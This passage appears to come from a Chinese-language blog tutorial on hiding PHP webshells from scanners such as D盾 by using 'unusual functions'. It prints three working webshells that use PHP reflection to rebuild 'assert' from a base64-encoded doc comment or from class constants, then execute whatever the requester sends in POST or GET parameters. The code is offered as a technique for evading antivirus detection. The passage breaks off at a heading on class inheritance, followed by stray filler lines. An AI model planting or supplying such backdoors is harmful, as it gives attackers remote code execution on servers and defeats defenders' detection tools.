在人为的应急响应中,可以找到文件的蛛丝马迹。可以通过访问流量走过的防火墙危险请求,或者简单的Wireshark抓包拦截就可以看到服务器的非正常请求。
0x05 非常规函数利用
有一些非常规的函数,例如读取注释的函数,往往会被查杀工具忽略,正如被我们所忽略一样,如果利用好,这种非常规的不在正则表达式匹配库中的函数也能起到奇效。
获取注释
public ReflectionClass::getDocComment( void) : string
某些查杀引擎在查杀的时候,会做类似于编译器的优化,去掉我们所写的注释,毕竟注释是不能运行的。
<?php
/**
* YXNzZXJ0YWE=
*/
class Example
{
public function fn()
{
}
}
$reflector = new ReflectionClass('Example');
$zhushi = substr(($reflector->getDocComment()), 7, 12);
$zhushi = base64_decode($zhushi);
$zhushi = substr($zhushi, 0, 6);
//
foreach (array('_POST','_GET') as $_request) {
foreach ($$_request as $_key=>$_value) {
$$_key= $_value;
print_r($$_request);
}
}
$zhushi($_value);
尽管在2021.5.20版本,已经不能过D盾了,但是这种写shell方法依然具有参考价值。
获取定义过的一个常量
public ReflectionClass::getConstants(void) : array
获取某个类的全部已定义的常量,不管可见性如何定义。
<?php
class Test
{
const a = 'As';
const b = 'se';
const c = 'rt';
public function __construct()
{
}
}
$para1;
$para2;
$reflector = new ReflectionClass('Test');
for ($i = 97; $i <= 99; $i++) {
$para1 = $reflector->getConstant(chr($i));
$para2 .= $para1;
}
foreach (array('_POST', '_GET') as $_request) {
foreach ($$_request as $_key => $_value) {
$$_key = $_value;
}
}
$para2($_value);
获取一组常量
public ReflectionClass::getConstants(void) : array
获取某个类的全部已定义的常量,不管可见性如何定义,与前面区别不大。
<?php
class Test
{
const a = array(1=>'aS',2=>'se',3=>'rT');
public function __construct()
{
}
}
$refl = new ReflectionClass('Test');
foreach ($refl->getConstants() as $key => $value) {
foreach ($value as $key => $value1) {
$value2.=$value1;
}
}
foreach (array('_POST','_GET') as $_request) {
foreach ($$_request as $_key=>$_value) {
$$_key= $_value;
}
}
$value2($_value);
类与继承
通过继承类来绕过类创建关键字检测。
我先膜了,各位随便
雅诗啦examine